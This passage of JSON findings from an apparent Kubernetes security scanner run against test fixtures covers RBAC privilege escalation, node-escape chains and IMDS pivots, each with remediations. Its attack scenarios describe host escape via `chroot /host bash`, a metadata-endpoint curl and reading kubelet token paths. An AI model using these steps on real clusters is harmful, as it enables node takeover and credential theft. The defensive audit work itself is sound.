      "Validate: `kubectl get deployment/risky-app -n vulnerable -o jsonpath='{.spec.template.spec.hostNetwork}'` is empty/false; `kubectl exec ... -- curl -m 2 http://169.254.169.254/` should fail."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://securitylabs.datadoghq.com/articles/amazon-eks-attacking-securing-cloud-identities/",
      "https://www.wiz.io/blog/lateral-movement-risks-in-the-cloud-and-how-to-prevent-them-part-2-from-k8s-clust",
      "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/techniques/Access%20cloud%20resources/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Datadog Security Labs — Attacking EKS cloud identities",
        "url": "https://securitylabs.datadoghq.com/articles/amazon-eks-attacking-securing-cloud-identities/"
      },
      {
        "title": "Wiz — Lateral movement: from container to cloud takeover",
        "url": "https://www.wiz.io/blog/lateral-movement-risks-in-the-cloud-and-how-to-prevent-them-part-2-from-k8s-clust"
      },
      {
        "title": "Microsoft Threat Matrix — Access cloud resources",
        "url": "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/techniques/Access%20cloud%20resources/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1046",
        "name": "Network Service Discovery",
        "url": "https://attack.mitre.org/techniques/T1046/"
      },
      {
        "id": "T1040",
        "name": "Network Sniffing",
        "url": "https://attack.mitre.org/techniques/T1040/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.4",
        "title": "Minimize the admission of containers wishing to share the host network namespace",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:hostNetwork"
    ]
  },
  {
    "id": "KUBE-PRIVESC-003:User/gw-job-patcher:gw-workloads:jobs",
    "rule_id": "KUBE-PRIVESC-003",
    "severity": "HIGH",
    "score": 8.1,
    "category": "privilege_escalation",
    "title": "Namespace `gw-workloads` only workload-controller mutation can spawn privileged pods on `User/gw-job-patcher`",
    "description": "Subject User/gw-job-patcher can `create/update/patch` workload controllers (`deployments`, `daemonsets`, `statefulsets`, `jobs`, `cronjobs`) via RoleBinding `gw-workloads/gw-job-patcher` → Role `gw-workloads/gw-job-patcher`. Namespace `gw-workloads` only.\n\nAnyone who can write a workload template inherits the same implicit permissions as `pods/create`: choice of ServiceAccount, choice of Pod Security context, and choice of host-level features. The specific danger of controller mutation (vs. pod create) is durability and stealth: a `kubectl edit deployment` adding a `privileged: true` sidecar produces pods continuously, so restart-looping the pod returns a fresh shell every time.\n\nDaemonSet write is the most dangerous variant because a DaemonSet runs one pod on every node, including new nodes added later. CronJobs offer time-based persistence that survives pod evictions, node reboots, and short-lived RBAC remediations. A realistic incident: an attacker with `patch daemonsets` in `kube-system` mutates `kube-proxy` to add a malicious sidecar inheriting the existing pod's host-mounts and ServiceAccount.",
    "subject": {
      "kind": "User",
      "name": "gw-job-patcher"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "gw-job-patcher",
      "namespace": "gw-workloads",
      "api_group": "rbac.authorization.k8s.io"
    },
    "namespace": "gw-workloads",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `gw-workloads` only"
    },
    "impact": "Spawn (or mutate existing) pods running as any ServiceAccount in Namespace `gw-workloads` only. DaemonSet write specifically yields one attacker pod per node, including future nodes.",
    "attack_scenario": [
      "Attacker enumerates writable controllers with `kubectl auth can-i patch daemonsets --as=gw-job-patcher -n gw-workloads`.",
      "They identify a high-value DaemonSet (e.g. `kube-system/kube-proxy`, `kube-system/cilium`, or any node-agent that already runs privileged).",
      "They `kubectl patch` to add a sidecar container under their control, inheriting the existing pod's host-mounts, capabilities, and ServiceAccount.",
      "The DaemonSet controller rolls the change to every node; the attacker now has a privileged shell on every node and a node-level token on each.",
      "They use the token to enumerate cluster Secrets and pivot to control-plane components. Persistence survives subject-token rotation because the malicious sidecar continues running."
    ],
    "evidence": {
      "api_groups": [
        "batch"
      ],
      "namespace": "gw-workloads",
      "resource_names": null,
      "resources": [
        "jobs"
      ],
      "scope": "namespace",
      "source_binding": "gw-job-patcher",
      "source_binding_kind": "RoleBinding",
      "source_role": "gw-job-patcher",
      "source_role_kind": "Role",
      "verbs": [
        "update",
        "patch"
      ]
    },
    "remediation": "Restrict workload-controller mutation to platform/CI identities; route application changes through GitOps with PR review.",
    "remediation_steps": [
      "Audit who has `create/update/patch` on `deployments,daemonsets,statefulsets,jobs,cronjobs`. Most application identities should not have this.",
      "Move deployment changes behind GitOps (Argo CD/Flux) so humans push to Git and the controller applies the change under its own ServiceAccount.",
      "Add a Kyverno/Gatekeeper policy that rejects pod templates with `privileged`, `hostPID`, `hostNetwork`, `hostPath` mounts, or `automountServiceAccountToken: true` outside an explicit allowlist.",
      "For DaemonSets specifically, restrict creation to named platform ServiceAccounts. Verify with `kubectl auth can-i create daemonsets --as=gw-job-patcher -n kube-system` returning `no`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#workload-creation",
      "https://kubernetes.io/docs/concepts/workloads/controllers/daemonset/",
      "https://kyverno.io/policies/pod-security/baseline/disallow-privileged-containers/disallow-privileged-containers/",
      "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/tactics/PrivilegeEscalation/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC Good Practices: Workload creation",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#workload-creation"
      },
      {
        "title": "Kubernetes — DaemonSet (runs on every node)",
        "url": "https://kubernetes.io/docs/concepts/workloads/controllers/daemonset/"
      },
      {
        "title": "Kyverno — Disallow privileged containers policy",
        "url": "https://kyverno.io/policies/pod-security/baseline/disallow-privileged-containers/disallow-privileged-containers/"
      },
      {
        "title": "Microsoft Threat Matrix for Kubernetes — Privilege Escalation",
        "url": "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/tactics/PrivilegeEscalation/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1610",
        "name": "Deploy Container",
        "url": "https://attack.mitre.org/techniques/T1610/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.4",
        "title": "Minimize access to create pods",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-ESCAPE:ServiceAccount/foothold-ops/foothold-named-execer:node_escape",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-ESCAPE",
    "severity": "HIGH",
    "score": 8.1,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/foothold-ops/foothold-named-execer` can reach **node escape** (host root) in 2 hop(s)",
    "description": "Subject `ServiceAccount/foothold-ops/foothold-named-execer` has a privesc path that terminates in the ability to schedule a pod with host-level access (`hostPath: /`, `privileged: true`, `hostPID`, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.\n\nThe chain (2 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):\n  1. `ServiceAccount/foothold-ops/foothold-named-execer` → `ServiceAccount/foothold-exec/foothold-reader` via `pod_exec` (create pods/exec|pods/attach): can exec into pods running as ServiceAccount foothold-exec/foothold-reader\n  2. `ServiceAccount/foothold-exec/foothold-reader` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod foothold-exec/foothold-target falls back to node IAM role via IMDS\n\nNode escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's `cni0/flannel.1/cali*` interface, and exfiltrate every projected ServiceAccount token by reading `/var/lib/kubelet/pods/*/volumes/.../token`. From there, those tokens cascade into more cluster-admin paths.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "foothold-named-execer",
      "namespace": "foothold-ops"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/foothold-ops/foothold-named-execer` → `node escape`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/foothold-ops/foothold-named-execer` yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/foothold-ops/foothold-named-execer`.",
      "Acting as `ServiceAccount/foothold-ops/foothold-named-execer`, the attacker uses `pods/exec` (`create pods/exec|pods/attach`) to open a shell inside `ServiceAccount/foothold-exec/foothold-reader` and inherit whatever ServiceAccount or host privileges that container holds.",
      "Acting as `ServiceAccount/foothold-exec/foothold-reader`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod foothold-exec/foothold-target falls back to node IAM role via IMDS.",
      "Final step: a privileged pod with `hostPath: /` (or `hostPID + privileged: true`) is created. The attacker `chroot /host bash` and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_exec [create pods/exec|pods/attach]",
        "2. imds_node_role_pivot [IMDS reachable, IRSA unbound]"
      ],
      "first_action": "pod_exec",
      "hop_count": 2,
      "target": "node_escape",
      "target_namespace": "",
      "techniques": [
        "pod_exec",
        "imds_node_role_pivot"
      ]
    },
    "remediation": "Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission `create pods/exec|pods/attach` that enables the first hop (`ServiceAccount/foothold-ops/foothold-named-execer` → `ServiceAccount/foothold-exec/foothold-reader`).",
    "remediation_steps": [
      "Identify which hop ends in `pod_create_*` or grants Pod Security violations (`privileged`, `hostPath`, `hostPID`, `hostNetwork`).",
      "Apply Pod Security Admission `restricted` profile to namespaces reachable from this chain: `kubectl label namespace \u003cns\u003e pod-security.kubernetes.io/enforce=restricted`. This blocks privileged pods at admission.",
      "Audit any namespace that is `privileged`-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.",
      "Remove the cited capability: remove the permission `create pods/exec|pods/attach` that enables the first hop (`ServiceAccount/foothold-ops/foothold-named-execer` → `ServiceAccount/foothold-exec/foothold-reader`).",
      "Wire admission policy (Kyverno `restrict-host-path-mount`, `disallow-privileged-containers`) so future pods cannot regress."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_exec",
        "technique": "KUBE-PRIVESC-004",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-named-execer",
          "namespace": "foothold-ops"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-reader",
          "namespace": "foothold-exec"
        },
        "permission": "create pods/exec|pods/attach",
        "gains": "can exec into pods running as ServiceAccount foothold-exec/foothold-reader",
        "source_binding": "foothold-named-execer",
        "source_role": "foothold-named-execer",
        "binding_namespace": "foothold-exec"
      },
      {
        "step": 2,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-reader",
          "namespace": "foothold-exec"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod foothold-exec/foothold-target falls back to node IAM role via IMDS"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.1",
        "title": "Minimize the admission of privileged containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_escape"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-ESCAPE:ServiceAccount/imgswap-fixtures/imgswap-patcher:node_escape",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-ESCAPE",
    "severity": "HIGH",
    "score": 8.1,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/imgswap-fixtures/imgswap-patcher` can reach **node escape** (host root) in 2 hop(s)",
    "description": "Subject `ServiceAccount/imgswap-fixtures/imgswap-patcher` has a privesc path that terminates in the ability to schedule a pod with host-level access (`hostPath: /`, `privileged: true`, `hostPID`, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.\n\nThe chain (2 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):\n  1. `ServiceAccount/imgswap-fixtures/imgswap-patcher` → `ServiceAccount/imgswap-fixtures/imgswap-reader` via `pod_image_hijack` (get,list,patch pods): can swap the container image of pods running as ServiceAccount imgswap-fixtures/imgswap-reader and run code inside them\n  2. `ServiceAccount/imgswap-fixtures/imgswap-reader` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod imgswap-fixtures/imgswap-reader-app-b5544c498-65nm9 falls back to node IAM role via IMDS\n\nNode escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's `cni0/flannel.1/cali*` interface, and exfiltrate every projected ServiceAccount token by reading `/var/lib/kubelet/pods/*/volumes/.../token`. From there, those tokens cascade into more cluster-admin paths.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "imgswap-patcher",
      "namespace": "imgswap-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/imgswap-fixtures/imgswap-patcher` → `node escape`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/imgswap-fixtures/imgswap-patcher` yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/imgswap-fixtures/imgswap-patcher`.",
      "Acting as `ServiceAccount/imgswap-fixtures/imgswap-patcher`, the attacker uses `update`/`patch` on `pods` (`get,list,patch pods`) to change the container image of a pod running as `ServiceAccount/imgswap-fixtures/imgswap-reader`. The API server's pod update validation keeps container images mutable on a live pod, and no in-tree controller reverts the change: the kubelet restarts the container with the attacker's image inside the same pod sandbox, with the same ServiceAccount token mount, securityContext, host namespaces, and volumes. The result is a shell in that pod without any exec or ephemeral-container verb.",
      "Acting as `ServiceAccount/imgswap-fixtures/imgswap-reader`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod imgswap-fixtures/imgswap-reader-app-b5544c498-65nm9 falls back to node IAM role via IMDS.",
      "Final step: a privileged pod with `hostPath: /` (or `hostPID + privileged: true`) is created. The attacker `chroot /host bash` and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_image_hijack [get,list,patch pods]",
        "2. imds_node_role_pivot [IMDS reachable, IRSA unbound]"
      ],
      "first_action": "pod_image_hijack",
      "hop_count": 2,
      "target": "node_escape",
      "target_namespace": "",
      "techniques": [
        "pod_image_hijack",
        "imds_node_role_pivot"
      ]
    },
    "remediation": "Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission `get,list,patch pods` that enables the first hop (`ServiceAccount/imgswap-fixtures/imgswap-patcher` → `ServiceAccount/imgswap-fixtures/imgswap-reader`).",
    "remediation_steps": [
      "Identify which hop ends in `pod_create_*` or grants Pod Security violations (`privileged`, `hostPath`, `hostPID`, `hostNetwork`).",
      "Apply Pod Security Admission `restricted` profile to namespaces reachable from this chain: `kubectl label namespace \u003cns\u003e pod-security.kubernetes.io/enforce=restricted`. This blocks privileged pods at admission.",
      "Audit any namespace that is `privileged`-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.",
      "Remove the cited capability: remove the permission `get,list,patch pods` that enables the first hop (`ServiceAccount/imgswap-fixtures/imgswap-patcher` → `ServiceAccount/imgswap-fixtures/imgswap-reader`).",
      "Wire admission policy (Kyverno `restrict-host-path-mount`, `disallow-privileged-containers`) so future pods cannot regress."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_image_hijack",
        "technique": "KUBE-PRIVESC-034",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "imgswap-patcher",
          "namespace": "imgswap-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "imgswap-reader",
          "namespace": "imgswap-fixtures"
        },
        "permission": "get,list,patch pods",
        "gains": "can swap the container image of pods running as ServiceAccount imgswap-fixtures/imgswap-reader and run code inside them",
        "source_binding": "imgswap-pod-patcher",
        "source_role": "imgswap-pod-patcher",
        "binding_namespace": "imgswap-fixtures"
      },
      {
        "step": 2,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "imgswap-reader",
          "namespace": "imgswap-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod imgswap-fixtures/imgswap-reader-app-b5544c498-65nm9 falls back to node IAM role via IMDS"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.1",
        "title": "Minimize the admission of privileged containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_escape"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-ESCAPE:ServiceAccount/privesc-fixtures/sa-ephemeral:node_escape",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-ESCAPE",
    "severity": "HIGH",
    "score": 8.1,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/privesc-fixtures/sa-ephemeral` can reach **node escape** (host root) in 2 hop(s)",
    "description": "Subject `ServiceAccount/privesc-fixtures/sa-ephemeral` has a privesc path that terminates in the ability to schedule a pod with host-level access (`hostPath: /`, `privileged: true`, `hostPID`, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.\n\nThe chain (2 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):\n  1. `ServiceAccount/privesc-fixtures/sa-ephemeral` → `ServiceAccount/cloud-eks-test/default` via `ephemeral_container_inject` (update,patch pods/ephemeralcontainers): can inject an ephemeral container into pods running as ServiceAccount cloud-eks-test/default\n  2. `ServiceAccount/cloud-eks-test/default` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod cloud-eks-test/imds-pivot-app-68cfbfc794-452d5 falls back to node IAM role via IMDS\n\nNode escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's `cni0/flannel.1/cali*` interface, and exfiltrate every projected ServiceAccount token by reading `/var/lib/kubelet/pods/*/volumes/.../token`. From there, those tokens cascade into more cluster-admin paths.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-ephemeral",
      "namespace": "privesc-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/privesc-fixtures/sa-ephemeral` → `node escape`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/privesc-fixtures/sa-ephemeral` yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/privesc-fixtures/sa-ephemeral`.",
      "Acting as `ServiceAccount/privesc-fixtures/sa-ephemeral`, the attacker uses the `ephemeral_container_inject` technique to reach `ServiceAccount/cloud-eks-test/default` via `update,patch pods/ephemeralcontainers`, which gains can inject an ephemeral container into pods running as ServiceAccount cloud-eks-test/default.",
      "Acting as `ServiceAccount/cloud-eks-test/default`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod cloud-eks-test/imds-pivot-app-68cfbfc794-452d5 falls back to node IAM role via IMDS.",
      "Final step: a privileged pod with `hostPath: /` (or `hostPID + privileged: true`) is created. The attacker `chroot /host bash` and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert."
    ],
    "evidence": {
      "chain_summary": [
        "1. ephemeral_container_inject [update,patch pods/ephemeralcontainers]",
        "2. imds_node_role_pivot [IMDS reachable, IRSA unbound]"
      ],
      "first_action": "ephemeral_container_inject",
      "hop_count": 2,
      "target": "node_escape",
      "target_namespace": "",
      "techniques": [
        "ephemeral_container_inject",
        "imds_node_role_pivot"
      ]
    },
    "remediation": "Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission `update,patch pods/ephemeralcontainers` that enables the first hop (`ServiceAccount/privesc-fixtures/sa-ephemeral` → `ServiceAccount/cloud-eks-test/default`).",
    "remediation_steps": [
      "Identify which hop ends in `pod_create_*` or grants Pod Security violations (`privileged`, `hostPath`, `hostPID`, `hostNetwork`).",
      "Apply Pod Security Admission `restricted` profile to namespaces reachable from this chain: `kubectl label namespace \u003cns\u003e pod-security.kubernetes.io/enforce=restricted`. This blocks privileged pods at admission.",
      "Audit any namespace that is `privileged`-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.",
      "Remove the cited capability: remove the permission `update,patch pods/ephemeralcontainers` that enables the first hop (`ServiceAccount/privesc-fixtures/sa-ephemeral` → `ServiceAccount/cloud-eks-test/default`).",
      "Wire admission policy (Kyverno `restrict-host-path-mount`, `disallow-privileged-containers`) so future pods cannot regress."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "ephemeral_container_inject",
        "technique": "KUBE-PRIVESC-013",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-ephemeral",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "default",
          "namespace": "cloud-eks-test"
        },
        "permission": "update,patch pods/ephemeralcontainers",
        "gains": "can inject an ephemeral container into pods running as ServiceAccount cloud-eks-test/default",
        "source_binding": "crb-ephemeral",
